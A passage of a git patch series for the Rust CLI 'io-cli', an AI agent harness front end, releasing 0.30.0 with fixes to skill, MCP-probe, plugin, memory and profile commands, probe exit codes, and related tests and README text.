b/src/commands.rs @@ -194,7 +194,7 @@ pub const COMMANDS: &[(&str, &str)] = &[ ), ( "/memory", - "what io remembers: the instruction files, and the agent's own notes", + "what io remembers: the instruction files and the agent's own notes, each editable", ), // Beside `/memory` because the two answer the halves of one question: that // one says what io was *told*, this one says what it was *taught*. A skill is @@ -204,11 +204,11 @@ pub const COMMANDS: &[(&str, &str)] = &[ // that read one. ( "/skills", - "every skill, shipped or yours: what it is for, whether it is on, and its file", + "every skill, shipped or yours: what it is for, whether it is on, and its file; add and remove one", ), ( "/mcp", - "the MCP servers configured, and what this session has seen of each", + "the MCP servers configured, what this session has seen of each, and whether one answers", ), ( "/provider", @@ -238,7 +238,7 @@ pub const COMMANDS: &[(&str, &str)] = &[ ), ( "/profile", - "switch to a named profile from the configuration, for this session", + "switch to a named profile for this session, or create, remove and clear one", ), ( "/effort", From c5290f4d83cac98a3b8c727956b08e2a466bceee Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:41:48 +0530 Subject: [PATCH 13/17] chore: 0.30.0 --- Cargo.lock | 2 +- Cargo.toml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index f0373c6..a3e1368 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1850,7 +1850,7 @@ dependencies = [ [[package]] name = "io-cli" -version = "0.29.0" +version = "0.30.0" dependencies = [ "clap", "crossterm", diff --git a/Cargo.toml b/Cargo.toml index 4caec32..2c62468 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "io-cli" -version = "0.29.0" +version = "0.30.0" edition = "2021" # io-harness declares 1.95, set by `libsqlite3-sys` calling the std `cfg_select!` # macro from its build script. Nothing here can be lower than what the harness From 401975d9992b54f97fdfa6bd20405923a0f70e98 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 01:07:41 +0530 Subject: [PATCH 14/17] fix: the adversarial review's findings, including three HIGH Thirteenth consecutive release in which this gate found real defects behind a fully green suite. Two reviewers split by area, with src/main.rs given its own pass because nothing under tests/ links it. HIGH - /skills add|list|remove and /mcp probe typed in a session did nothing at all. manage::plan answers None for both (a skill is a file, a probe writes nothing), so they fell to the empty Ok((_, None)) arm: no act, no output, no refusal, on lines the README documents as working. The acts existed only in manage_main, which a session never calls. Both now have session arms, and the probe uses the session's merged policy rather than the file's alone. HIGH - /memory's "replace it with what is in the prompt" could never carry anything but the note's own text. The picker owned the keyboard between composer.set and the choice, so the replacement was always byte-identical to the note; amend accepted it and the surface reported a successful replacement over a write that changed nothing. The order is now /remember's: type the line, then pick what it applies to, with the row saying so when the prompt is empty. HIGH - /plugin's toggle and install never reloaded the configuration, so a second /plugin in the same turn decided from stale state: the row went on offering "switch it off" for a bundle already off, wrote false over false, and said so again, with "switch it back on" unreachable until the next turn. /mcp's toggle has always reloaded, which is why that one was self-consistent. MEDIUM - io mcp probe exited 0 for every outcome, so a script could tell an answering server from a dead one only by parsing prose. exec::probe_code now answers OK, REFUSED or FAILED, verified against a real MCP server: answering 0, disabled 1, will-not-start 1, policy-refused 2. MEDIUM - skillview::install could not see skills/disabled/, so installing a file whose name a parked skill claimed left that one impossible to re-enable. It also skipped the collision check entirely when discovery errored, and counted nothing against MAX_SKILLS - so /skills add could push a home to 65 skills, after which discovery fails, /skills lists nothing, and it cannot be used to undo it. MEDIUM - /mcp enable|disable typed in a session never said what the key costs an older binary, while the picker toggle and the argv door both did. The [[mcp]] cost is the silent one. MEDIUM - /profile remove reported a profile gone when another scope still declared it, and cleared the session's overlay for a profile still applicable. LOW - pluginview::add_off and declared_off lost their last callers to Plugins::inspect and are deleted rather than left public and unreachable, which is the shape this product has shipped six times. /profile create now refuses a name another scope declares. /skill opens the panel like /skills. A declined unforget says the withdrawal stands. note_rows takes the glyph set. Checked and NOT changed: Pick::PluginInstall writing against session.root() was reported as a plan/write root mismatch; the plan is built from a local shadow of the same value and a picker owns the keyboard, so the session cannot change in between. Gates: 99 binaries, 1,607 passed, 0 failed, 36 ignored; clippy 0; fmt clean; nightly rustdoc 0 findings. --- README.md | 24 ++-- src/commands.rs | 18 ++- src/exec.rs | 33 +++++ src/main.rs | 317 +++++++++++++++++++++++++++++++++++++++---- src/pluginview.rs | 147 +++++++------------- src/skills.rs | 2 +- src/skillview.rs | 67 +++++++-- tests/docs.rs | 46 ++++--- tests/marketplace.rs | 14 ++ tests/skillview.rs | 50 +++++++ 10 files changed, 553 insertions(+), 165 deletions(-) diff --git a/README.md b/README.md index d6d9d49..6cdf3c0 100644 --- a/README.md +++ b/README.md @@ -1150,16 +1150,20 @@ string unchanged rather than a prettier short form, because it is what a refusal will name, what a tool call will name, and what you will type to spawn the agent. A shorter name here would be a third spelling of the same thing. -**Hooks are the one contribution io cannot itemise, and the row says so.** -io-harness applies a bundle's hooks and keeps its `Hook` type private, so there -is no API by which this program can count them or say what any of them runs. -`/plugin` therefore draws a row saying the bundle contributed hooks and that io -cannot say what they do. The alternative was to leave the row out, which reads as -a bundle with no hooks — the one reading that is false, on the contribution kind -that runs programs. **The one place io does name them is a marketplace install**, -below, where it reads them out of the manifest itself — because that is the one -moment you are being asked to accept a directory you have not read. Reported -upstream as io-harness#223; the reading goes when the accessor arrives. +**Hooks are named, everywhere, from 0.30.0.** Each one gets a row: the event it +fires on, or the tool call it sits in front of, and the command it runs. This is +the contribution kind that runs programs, so it is the one you most need itemised +and it was the one io could not itemise: io-harness kept its `Hook` type private, +so through 0.29.0 `/plugin` drew a row saying the bundle contributed hooks and +that io could not say what they do, and only a marketplace install named them — +by reading the manifest itself, which is a second opinion about somebody else's +file. + +io-harness 0.71.0 closed that (io-harness#223, reported by this project). Both +surfaces now read `Plugin::hooks()`, so what you are shown is what the harness +parsed rather than what io-cli made of the same bytes — and it sees two shapes +the hand-written reader could not: an inline `hook = [{…}]` array, and a +`[[hook]]` header with a comment after it. ## Marketplaces diff --git a/src/commands.rs b/src/commands.rs index bc6ff07..9209570 100644 --- a/src/commands.rs +++ b/src/commands.rs @@ -1891,7 +1891,10 @@ pub fn trace_notes(view: &crate::recall::View, glyphs: &crate::glyphs::Glyphs) - /// inside any list item. An operator offered "forget this" over a row that will /// remove one line of four hundred is being offered a verb that does a fraction of /// what it looks like it does. -pub fn note_rows(notes: &[crate::memory::Note]) -> Vec { +pub fn note_rows( + notes: &[crate::memory::Note], + glyphs: &crate::glyphs::Glyphs, +) -> Vec { notes .iter() .map(|note| { @@ -1905,7 +1908,7 @@ pub fn note_rows(notes: &[crate::memory::Note]) -> Vec { "line {} {} carries {carried} more line{} that forgetting it will leave \ behind", note.numbered(), - crate::glyphs::ASCII.dash, + glyphs.dash, if carried == 1 { "" } else { "s" }, ) }, @@ -2015,7 +2018,10 @@ fn profile_verb(input: &str) -> ProfileVerb { "clear" | "none" | "off" => ProfileVerb::Clear, "create" | "new" => ProfileVerb::Create(name), "remove" | "delete" => ProfileVerb::Remove(name), - other => ProfileVerb::Unknown(other.to_string()), + // **`verb` and not the lowercased match subject.** The refusal quotes this + // back, and quoting `fast` at somebody who typed `Fast` sends them looking + // for a word they did not write. + _ => ProfileVerb::Unknown(verb.to_string()), } } @@ -2101,7 +2107,11 @@ pub fn parse(input: &str, keys: &Keys, theme: &Theme) -> Action { { Action::Manage(input.to_string()) } - "skills" => Action::Skills, + // Both spellings open the panel, matching `/mcp` and `/servers`. Admitting + // `skill` only when it carries a verb would make `/skill add x` work and + // `/skill` fall through to the unknown-command path, which is a worse + // answer than either. + "skills" | "skill" => Action::Skills, "provider" | "providers" => Action::Provider, "profile" | "profiles" => Action::Profile(profile_verb(input)), // `Effort` carries `FromStr`, so the three levels are spelled io-harness's diff --git a/src/exec.rs b/src/exec.rs index a3cd097..bb064af 100644 --- a/src/exec.rs +++ b/src/exec.rs @@ -85,6 +85,39 @@ pub const UNFINISHED: u8 = 5; /// the recorded `GateOutcome` sees that one. pub const UNVERIFIED: u8 = 6; +/// The exit status for `io mcp probe`. +/// +/// **A probe that came back with nothing must not exit zero**, and until this +/// function existed it did: the sentence on stdout was right and the status was +/// `0` for every outcome, so a script could tell an answering server from a dead +/// one only by parsing prose. Found by running the built binary against a real +/// server, not by a test — every offline gate was green, because every offline +/// gate asserted the sentence. +/// +/// Three statuses rather than two, and the third earns its place: a server the +/// **policy** refused is a different problem from one that was asked and did not +/// answer. The first is fixed by editing a rule and the second by fixing the +/// server, and a script that retries is right to retry only one of them. +/// +/// * [`OK`] — it answered. +/// * [`REFUSED`] — the policy would not let it start. Nothing was spawned or +/// dialled. +/// * [`FAILED`] — everything else: switched off, would not start, unreachable, +/// timed out, or a state a newer io-harness reports that this build does not +/// model. +/// +/// The `_` arm is mandatory: `McpProbe` is `#[non_exhaustive]`. It answers +/// `FAILED` because "this build does not know what happened" is not a success, +/// and the sentence beside it says so in words. +#[must_use] +pub fn probe_code(probe: &io_harness::McpProbe) -> u8 { + match probe { + io_harness::McpProbe::Answered { .. } => OK, + io_harness::McpProbe::Refused { .. } => REFUSED, + _ => FAILED, + } +} + /// The exit status for a run that reached the harness. /// /// **The `_` arm is mandatory now, and it is not free.** Until io-harness 0.64 diff --git a/src/main.rs b/src/main.rs index 1d9a3d2..a47f090 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1854,6 +1854,34 @@ async fn loop_over Result>( &[edit], ) { Ok(()) => { + // **Re-read, or the second `/plugin` + // of the same turn decides from + // stale state.** `Pick::PluginEntry` + // carries `enabled` from when the + // row was drawn, and the row is + // drawn from `config`. Without this + // the surface goes on offering + // "switch it off" for a bundle + // already off, writes `false` over + // `false`, and reports it switched + // off a second time — leaving + // "switch it back on" unreachable + // until the next turn. `/mcp`'s + // toggle has always reloaded, which + // is why that one is + // self-consistent and this was not. + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => { + app.record(Tone::Error, error); + } + } app.record( Tone::Success, format!( @@ -1991,13 +2019,36 @@ async fn loop_over Result>( // comes through byte for byte — see `src/edit.rs`, // which splices a span and copies the rest. match io_cli::configure::write(session.root(), *scope, edits) { - Ok(()) => app.record( - Tone::Success, - format!( - "{id} is installed; what it contributes is in \ - `/plugin`, and it is in force from the next turn", - ), - ), + Ok(()) => { + // **Re-read, or `/plugin` will not list what + // was just installed.** `Action::Plugin` + // builds its view from the in-memory + // `config`, which is otherwise refreshed + // only at a turn boundary — so without this + // the success sentence below points at a + // surface that still knows nothing about + // the bundle. 0.29.0 did not have this bug + // because the write happened in the arm + // that reloads; the disclosure arm returns + // before reaching it. + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record(Tone::Error, error), + } + app.record( + Tone::Success, + format!( + "{id} is installed; what it contributes is in \ + `/plugin`, and it is in force from the next turn", + ), + ); + } Err(refusal) => app.record(Tone::Refused, refusal), } } else { @@ -3511,7 +3562,7 @@ async fn loop_over Result>( descended = Some(( Picker::new( io_cli::memory::file_name(file.scope).to_string(), - io_cli::commands::note_rows(¬es), + io_cli::commands::note_rows(¬es, &app.theme.glyphs), ), Pick::Instruction(notes), )); @@ -3548,15 +3599,22 @@ async fn loop_over Result>( // file nothing links. Pick::Instruction(notes) => { if let Some(note) = notes.get(index) { - // **The note's own text goes into the composer.** - // Editing needs typed input and this interface has - // exactly one place to type; putting the current - // text there means "replace it" starts from what is - // there rather than from nothing, which is the - // difference between editing a note and retyping - // it. `/remember` already establishes the order — - // type the line, then pick the file. - app.composer.set(¬e.text); + // **The composer is deliberately NOT set here, and + // the order is `/remember`'s: type the line, then + // pick what it applies to.** + // + // The obvious implementation — put the note's + // current text in the composer so the operator can + // edit it — cannot work in this interface and looks + // like it does. A picker owns the keyboard for as + // long as it is open, so no keystroke can reach the + // composer between a `set` here and the choice + // below; the "replacement" would always be byte- + // identical to the note, `memory::amend` would + // accept it, and the surface would report a + // successful replacement over a write that changed + // nothing. Reopening the note would then overwrite + // whatever the operator had typed instead. let carried = note.carries(); descended = Some(( Picker::new( @@ -3565,9 +3623,19 @@ async fn loop_over Result>( Row::new(io_cli::store::LEAVE_IT.to_string()), Row::with_detail( "replace it with what is in the prompt".to_string(), - "the line's indent and its `-` are the file's and \ - are not touched" - .to_string(), + if app.composer.text().trim().is_empty() { + // Said before it is chosen, not + // after: an empty prompt is the + // state an operator arrives in + // when they came to read. + "the prompt is empty — type the new line \ + first, then come back" + .to_string() + } else { + "the line's indent and its `-` are the \ + file's and are not touched" + .to_string() + }, ), Row::with_detail( "forget it".to_string(), @@ -3645,6 +3713,12 @@ async fn loop_over Result>( format!("{key} was not put back: {error}"), ), } + } else { + // Said rather than left silent: the operator has + // just been told a way back exists, and a + // confirmation that answers nothing when declined + // reads as one that did not register the keystroke. + app.record(Tone::Muted, format!("{key} stays withdrawn")); } } Pick::Remembered { scope, key, verbs } => { @@ -4294,6 +4368,124 @@ async fn loop_over Result>( app.record(tone_of(&outcome), outcome.said); } }, + // **The two verbs that act without planning an `Edit`, and + // therefore need an arm here of their own.** `manage::plan` + // answers `None` for both — a skill is a file in io-cli's + // own home and a probe writes nothing — so without these + // they fall to `Ok((_, None))` below and do *nothing at + // all*: no act, no output, no refusal, on a line the README + // documents as working. The acts live in `manage_main`, + // which a session never calls. + Ok((io_cli::manage::Request::Skill(verb), None)) => { + match io_cli::home::path() { + None => app.record( + Tone::Refused, + "there is no home on this machine to keep skills in" + .to_string(), + ), + Some(home) => { + let view = skills_view(&config, &capabilities, session.root()); + let bundles = bundle_skills(&config); + let done = match &verb { + io_cli::manage::SkillVerb::Add { source } => { + io_cli::skillview::install(&home, source) + .map(|at| format!("{} is installed", at.display())) + } + io_cli::manage::SkillVerb::List => { + for skill in &view.skills { + app.record( + Tone::Muted, + format!( + "{} — {} · {} · {}", + skill.name, + skill.origin.word(), + if skill.enabled { + "enabled" + } else { + "disabled" + }, + skill.path.display(), + ), + ); + } + Ok(String::new()) + } + io_cli::manage::SkillVerb::Remove { name } => { + // By the resolved name, which is what + // the listing shows — a file called + // `mine.md` declaring `name: io-mcp` is + // `io-mcp` everywhere it is addressed. + match view.skills.iter().find(|s| s.name == *name) { + None => Err(format!( + "no skill answers to `{name}`; `/skills` \ + names the ones that do" + )), + Some(skill) => { + io_cli::skillview::remove(&skill.path, &bundles) + .map(|gone| { + format!("{} is deleted", gone.display()) + }) + } + } + } + }; + match done { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(said) => { + if !said.is_empty() { + // The palette walks its list once + // at startup; these two verbs are + // the only other things that change + // the directory under it. + skills = io_cli::commands::skills( + &home, + io_cli::contract::skills_dir( + &config, + &capabilities, + session.root().to_path_buf(), + ) + .as_deref(), + &bundle_skills(&config), + ) + .0; + app.record(Tone::Success, said); + } + } + } + } + } + } + Ok(( + io_cli::manage::Request::Mcp(io_cli::manage::McpVerb::Probe { id }), + None, + )) => { + // **The session's merged policy, not the file's alone**, + // for the reason the preflight beside it gives: the + // posture the operator chose replaces the tier defaults + // and this session's remembered allowances are a layer + // over both, so a probe built on `Config::policy()` by + // itself would report a refusal for a server this very + // session has already been told to permit. + let policy = io_cli::approval::session_policy( + &config.policy().unwrap_or_default(), + app.posture(), + app.remembered(), + ); + match io_cli::servers::probe(&config, &id, &policy).await { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(probe) => { + let said = io_cli::servers::probed(&id, &probe); + app.record( + if io_cli::exec::probe_code(&probe) == io_cli::exec::OK { + Tone::Success + } else { + Tone::Warning + }, + said, + ); + } + } + } Ok((_, None)) => {} // **A plan carrying a disclosure has not been written, and // this arm exists so that it cannot be.** `manage::plan` @@ -4391,6 +4583,27 @@ async fn loop_over Result>( .word() ), ); + // **The third door for the same act, and it owes + // the same sentence.** `/mcp enable|disable + // ` typed in a session builds the identical + // `servers::switch` edit the picker's toggle + // and `io mcp disable` build, and both of those + // say what the key costs an io-harness 0.69.0 + // binary — which for `[[mcp]]` is the silent + // failure: that binary ignores the key and + // starts the server anyway. Two of three doors + // saying it is worse than none, because the + // silence reads as "there is nothing to say". + if let io_cli::manage::Request::Mcp( + io_cli::manage::McpVerb::Enable { .. } + | io_cli::manage::McpVerb::Disable { .. }, + ) = &request + { + app.record( + Tone::Muted, + io_cli::servers::OLDER_BINARY.to_string(), + ); + } // **The preflight after the write, never // instead of it.** A server the policy will // refuse is still written — the report is a @@ -4844,6 +5057,27 @@ async fn loop_over Result>( picker = Some((Picker::new("Which profile?", rows), Pick::Profile(names))); } } + Action::Profile(io_cli::commands::ProfileVerb::Create(name)) + // **A name another scope already declares is not a fresh + // profile.** `Edit::section` refuses a duplicate within the + // file it is writing and cannot see any other — so creating + // `fast` in the user scope over a `[profile.fast]` in the + // project file succeeds, and the sentence below would call the + // result empty when it inherits every key the project + // declaration carries. + if io_cli::configure::profiles(&config) + .iter() + .any(|declared| declared == name.trim()) => + { + app.record( + Tone::Refused, + format!( + "`{}` is already declared by a file in force; `/profile` switches to \ + it, and `/config --scope user` adds keys to it", + name.trim(), + ), + ); + } Action::Profile(io_cli::commands::ProfileVerb::Create(name)) => { match io_cli::configure::create_profile(&name) { Err(refusal) => app.record(Tone::Refused, refusal), @@ -4956,12 +5190,40 @@ async fn loop_over Result>( if headers == 1 { "" } else { "s" }, ), ); - if profile.as_deref() == Some(name.as_str()) { + // **One file declared it; another still may, + // and "removed" would then be a lie the + // operator cannot see.** `profiles` was + // widened this release to read every scope + // precisely because io-harness merges an + // overlay across all of them — so a profile + // named in two files survives one removal, + // goes on being listed, and goes on being + // switchable, with the sentence above + // reading as though it were gone. + let survives = io_cli::configure::profiles(&config) + .iter() + .any(|declared| declared == &name); + if survives { + app.record( + Tone::Warning, + format!( + "`{name}` is still declared by another file in \ + force, so it is still listed and still \ + switchable; `/profile remove {name}` again \ + takes the next one" + ), + ); + } else if profile.as_deref() == Some(name.as_str()) { // The overlay in force was this - // profile's. Leaving the name set would - // put a profile that no longer exists on - // the status line and fail at the next - // turn boundary. + // profile's, and nothing declares it any + // more. Leaving the name set would put a + // profile that no longer exists on the + // status line and fail at the next turn + // boundary. Guarded on `survives`, + // because clearing the session for a + // profile that is still perfectly + // applicable is the same error in the + // other direction. profile = None; app.record( Tone::Muted, @@ -8686,6 +8948,11 @@ async fn manage_main( let policy = config.policy().unwrap_or_default(); let probe = io_cli::servers::probe(config, id, &policy).await?; println!("{}", io_cli::servers::probed(id, &probe)); + // **Returned here rather than falling through to `OK`.** A probe is + // the one verb on this door whose *answer* is the result, so the + // status has to carry it — otherwise a script can tell an answering + // server from a dead one only by parsing the sentence above. + return Ok(io_cli::exec::probe_code(&probe)); } _ => {} } diff --git a/src/pluginview.rs b/src/pluginview.rs index 5058727..377e43b 100644 --- a/src/pluginview.rs +++ b/src/pluginview.rs @@ -652,38 +652,24 @@ pub const OLDER_BINARY: &str = /// The edit that declares a bundle **switched off**. /// -/// [`add`]'s entry with one more line, for an operator who wants a bundle -/// declared and not running. -/// -/// **It is no longer what a marketplace install writes, and 0.71.0 is why.** -/// Through 0.29.0 this key was the whole disclosure mechanism: io-harness -/// published no loader that took a directory, so the only way to have a stranger's -/// bundle read, parsed, validated and trust-checked was to *declare* it, and the -/// only way to declare it without running it was `enabled = false`. Writing into -/// an operator's configuration file to find out whether the file should have been -/// written is a round trip that leaves a refused bundle's entry behind, and -/// [`io_harness::Plugins::inspect`] ends it — the install now validates first and -/// writes once, on consent, through [`add`]. See -/// [`crate::marketplace::disclosure`]. -/// -/// **An appended entry carries as many keys as it is given.** -/// [`crate::edit::Edit::append`] writes `[[plugin]]` and then the body verbatim, -/// so the second line needs no second edit and no second write — which matters, -/// because a bundle that was declared on and switched off afterwards would have -/// been loadable for the width of one round trip. -/// -/// Says [`OLDER_BINARY`] to the operator at the moment of writing. That sentence -/// is a constant rather than a line at the call site so the two doors cannot word -/// it differently and a test can name it. -pub fn add_off(dir: &Path) -> crate::edit::Edit { - crate::edit::Edit::append( - "plugin", - format!( - "path = {}\nenabled = false", - quoted(&dir.display().to_string()) - ), - ) -} +// **`add_off` and `declared_off` were deleted in 0.30.0.** +// +// Through 0.29.0 a marketplace install wrote `[[plugin]] enabled = false` and +// then read the entry back, because io-harness published no loader that took a +// directory: the only way to have a stranger's bundle read, parsed, validated +// and trust-checked was to *declare* it, and the only way to declare it without +// running it was that key. `add_off` wrote it and `declared_off` recovered which +// entry had just been written. +// +// `io_harness::Plugins::inspect` (0.71.0, io-harness#224) validates a directory +// with nothing on disk naming it, so the install validates first and writes once, +// on consent, through [`add`] — and both functions lost their only callers in the +// same change. They are deleted rather than left `pub`, because a public function +// no keystroke reaches is the defect shape this product has shipped six times, and +// this release closed five of them. +// +// `tests/marketplace.rs` still asserts that `src/manage.rs` names no `add_off`; +// it now asserts the stronger thing, that nothing does. /// The edit that switches the `index`-th declared bundle on. /// @@ -716,8 +702,8 @@ pub fn enable(index: usize) -> crate::edit::Edit { /// again. An operator who wanted a bundle *gone* has `remove`; one who wanted it /// *quiet* had nothing until this. /// -/// Says [`OLDER_BINARY`] to the operator at the moment of writing, for the reason -/// [`add_off`] does — and that sentence is the `[[plugin]]` one, which is not +/// Says [`OLDER_BINARY`] to the operator at the moment of writing — and that +/// sentence is the `[[plugin]]` one, which is not /// [`crate::servers::OLDER_BINARY`]. A 0.69.0 binary refuses this whole file; it /// ignores the same key in an `[[mcp]]` entry and runs the server. /// @@ -727,41 +713,6 @@ pub fn disable(index: usize) -> crate::edit::Edit { crate::edit::Edit::set(format!("plugin[{index}].enabled"), "false") } -/// The last `[[plugin]]` entry of a configuration file, when it was declared off. -/// -/// **The evidence of what was just written, rather than a second reading of what -/// was meant.** [`crate::edit::Edit::append`] puts a new entry at the end of the -/// document, so the highest index in the file is the entry the write that just -/// returned created — and whether it carries `enabled = false` is what separates a -/// marketplace install, which owes a disclosure, from an ordinary -/// `/plugin add ./bundles/x`, which does not. Asking the file means the driver -/// re-decides nothing: `marketplace::chosen` made that call once, in -/// `manage::plan`, and this reads the result of it. -/// -/// `None` for a file with no `[[plugin]]` array, and for a last entry that carries -/// no `enabled` key or carries one that is not `false`. -#[must_use] -pub fn declared_off(text: &str) -> Option<(usize, PathBuf)> { - // Walked until a gap, which is what `value_at` reports by returning `None` — - // an array of tables is contiguous, so the first miss is the end of it. The - // same walk `declared_at` makes, for the same reason. - let mut last = None; - for index in 0.. { - let Some(raw) = crate::edit::value_at(text, &format!("plugin[{index}].path")) else { - break; - }; - // Decoded by the inverse of the function that wrote it, for the reason - // `unquoted` states: the path this hands back is opened to read the - // bundle's hooks, and a path with an escape still in it opens a different - // manifest — or nothing, and the disclosure then fails closed on a generic - // sentence rather than on the real reason. - last = Some((index, PathBuf::from(unquoted(&raw)))); - } - let (index, path) = last?; - let enabled = crate::edit::value_at(text, &format!("plugin[{index}].enabled"))?; - (enabled.trim() == "false").then_some((index, path)) -} - /// The manifest every bundle has, and the one file this surface can check before /// writing anything. /// @@ -969,8 +920,9 @@ fn quoted(text: &str) -> String { /// The inverse of [`quoted`]: the path back out of the value a file holds. /// -/// **The read half of this module did not exist until 0.29.0.** Both readers — -/// [`declared_at`] and [`declared_off`] — took the value's bytes and stripped the +/// **The read half of this module did not exist until 0.29.0.** Both readers of +/// the day — [`declared_at`], and a `declared_off` deleted in 0.30.0 — took the +/// value's bytes and stripped the /// surrounding quotes with `trim_matches('"')`, which undoes no escape, so every /// path `quoted` had escaped came back doubled. On Windows the doubled separators /// collapse and nothing shows; on Linux a bundle directory named `a\b` or `a"b` — @@ -1381,37 +1333,28 @@ mod tests { ); } - /// The disclosing declaration carries both keys in one appended entry, so a - /// bundle is never loadable for the width of a round trip, and the consent is - /// a `set` on the entry's own `enabled` key rather than a second entry. + /// An install writes **one** entry, switched on, and the toggle is a `set` on + /// that entry's own key rather than a second entry. + /// + /// The 0.29.0 form of this test asserted a `path = …\nenabled = false` append, + /// because the install had to declare a bundle off in order to have io-harness + /// read it at all. `Plugins::inspect` removed that round trip, so an install is + /// one plain `add` and the `enabled` key appears only when somebody switches a + /// bundle off on purpose. #[test] - fn the_disclosing_edits_declare_off_in_one_entry_and_consent_with_one_key() { + fn an_install_declares_one_entry_and_the_toggle_is_one_key() { assert_eq!( - add_off(Path::new("bundles/rust-review")), - crate::edit::Edit::append("plugin", "path = \"bundles/rust-review\"\nenabled = false") + add(Path::new("bundles/rust-review")), + crate::edit::Edit::append("plugin", "path = \"bundles/rust-review\"") ); assert_eq!( enable(3), crate::edit::Edit::set("plugin[3].enabled", "true") ); - } - - /// `declared_off` answers about the entry `append` just wrote — the last one — - /// and says nothing about a bundle switched off earlier in the file. - #[test] - fn declared_off_reads_the_last_entry_and_only_when_it_is_off() { - let earlier = "[[plugin]]\npath = \"a\"\nenabled = false\n\n\ - [[plugin]]\npath = \"b\"\n"; assert_eq!( - declared_off(earlier), - None, - "a bundle the operator switched off weeks ago was read as the one just \ - written, so an ordinary `plugin add` would disclose somebody else's entry", + disable(3), + crate::edit::Edit::set("plugin[3].enabled", "false") ); - let written = crate::edit::apply(earlier, &[add_off(Path::new("c"))]) - .expect("the disclosing entry applies"); - assert_eq!(declared_off(&written), Some((2, PathBuf::from("c")))); - assert_eq!(declared_off("run.max_steps = 30\n"), None); } #[test] @@ -1451,14 +1394,22 @@ mod tests { } // And through the reader an install actually uses, which is where the - // wrong path becomes a different manifest. - let written = crate::edit::apply("", &[add_off(Path::new(r"plugins/a\b"))]) - .expect("the disclosing entry applies"); + // wrong path becomes a different manifest. `declared_at` rather than the + // deleted `declared_off`: the round trip being asserted is the same one — + // write a path, find that entry again by it — and it is now the only reader + // that makes it. + let written = + crate::edit::apply("", &[add(Path::new(r"plugins/a\b"))]).expect("the entry applies"); assert_eq!( - declared_off(&written), - Some((0, PathBuf::from(r"plugins/a\b"))), + crate::edit::value_at(&written, "plugin[0].path").as_deref(), + Some(quoted(r"plugins/a\b").as_str()), "the entry that was just written cannot be read back: {written}", ); + assert_eq!( + unquoted(&crate::edit::value_at(&written, "plugin[0].path").unwrap_or_default()), + r"plugins/a\b", + "and decoding it does not give back the path it was written from", + ); } #[test] diff --git a/src/skills.rs b/src/skills.rs index 81e3b91..ca2bad0 100644 --- a/src/skills.rs +++ b/src/skills.rs @@ -250,7 +250,7 @@ pub fn wrote(home: &Path, name: &str, path: &Path) -> bool { /// case — `disabled/` is created by the first disable and never before. Resolved /// through [`crate::skillview::describe`] rather than from the file stem, because /// the stem and the name are exactly the two things this release keeps apart. -fn disabled_names(disabled: &Path) -> Vec { +pub(crate) fn disabled_names(disabled: &Path) -> Vec { let Ok(entries) = std::fs::read_dir(disabled) else { return Vec::new(); }; diff --git a/src/skillview.rs b/src/skillview.rs index 5a723c2..74ca820 100644 --- a/src/skillview.rs +++ b/src/skillview.rs @@ -762,16 +762,63 @@ pub fn install(home: &Path, source: &Path) -> Result { // The question the run will ask, asked before the file is in a position to // make the run fail. let (name, _) = describe(source); - if let Ok(found) = io_harness::Skills::discover(&dir) { - if found.get(&name).is_some() { - return Err(format!( - "a skill in {} already answers to `{name}`, which is the name in \ - {}'s frontmatter — two files answering to one name make every \ - turn of the next session fail before its first completion", - dir.display(), - source.display(), - )); - } + + // **A directory that will not discover is a refusal, never a skipped check.** + // `discover` errors on a set above the ceiling, on two files already sharing a + // name, and on an unreadable entry — every one of those is a home that is + // already broken, and installing into it without a name check deepens exactly + // the state that kills every turn of the next session. It cannot error merely + // for being empty: `home::create` above guarantees the directory exists, and + // an existing empty directory discovers to an empty set. + let found = io_harness::Skills::discover(&dir).map_err(|error| { + format!( + "{} does not discover, so io-cli cannot tell whether `{name}` is \ + already claimed, and will not add to a directory that is already \ + failing: {error}", + dir.display(), + ) + })?; + if found.get(&name).is_some() { + return Err(format!( + "a skill in {} already answers to `{name}`, which is the name in \ + {}'s frontmatter — two files answering to one name make every \ + turn of the next session fail before its first completion", + dir.display(), + source.display(), + )); + } + + // **And the disabled set, which discovery cannot see by design.** A skill in + // `disabled/` is invisible to `Skills::discover` — that absence *is* the + // off-switch — so a name check that asked only the harness would let this + // install claim a name a parked skill holds. The operator would then never be + // able to turn that one back on: [`enable`] refuses a name already claimed, + // and it would refuse forever. `crate::skills::install` has consulted the + // disabled set for this reason since 0.21.0 and this must agree with it. + if crate::skills::disabled_names(&dir.join(skills::DISABLED)) + .iter() + .any(|held| held == &name) + { + return Err(format!( + "a skill switched off in {}/{} already answers to `{name}`; installing \ + this would mean that one could never be turned back on", + dir.display(), + skills::DISABLED, + )); + } + + // **Counted before the write, because `discover` rejects the whole set above + // the ceiling rather than truncating it** — so one file too many costs the + // operator every skill they had, and `/skills` could not be used to undo it, + // because its own list comes from the call that would then be failing. + if found.len() >= io_harness::skills::MAX_SKILLS { + return Err(format!( + "{} already holds {} skills, which is io-harness's ceiling; one more \ + would make the whole directory fail to discover and take every skill \ + in it out of the next session", + dir.display(), + io_harness::skills::MAX_SKILLS, + )); } std::fs::copy(source, &destination) diff --git a/tests/docs.rs b/tests/docs.rs index be6630f..cabbfc0 100644 --- a/tests/docs.rs +++ b/tests/docs.rs @@ -1103,28 +1103,40 @@ fn f19_no_source_cites_an_io_harness_this_crate_does_not_pin() { let wanted = format!("io-harness-{pinned}/"); let mut stale: Vec = Vec::new(); - let dir = repo().join("src"); - for entry in std::fs::read_dir(&dir).expect("src/") { - let path = entry.expect("a directory entry").path(); - if path.extension().and_then(|e| e.to_str()) != Some("rs") { - continue; + // **Recursive, and every citation on a line rather than the first.** Both were + // holes in the first version of this gate: `find` returns one match, so a line + // carrying two citations was checked once and the second could name 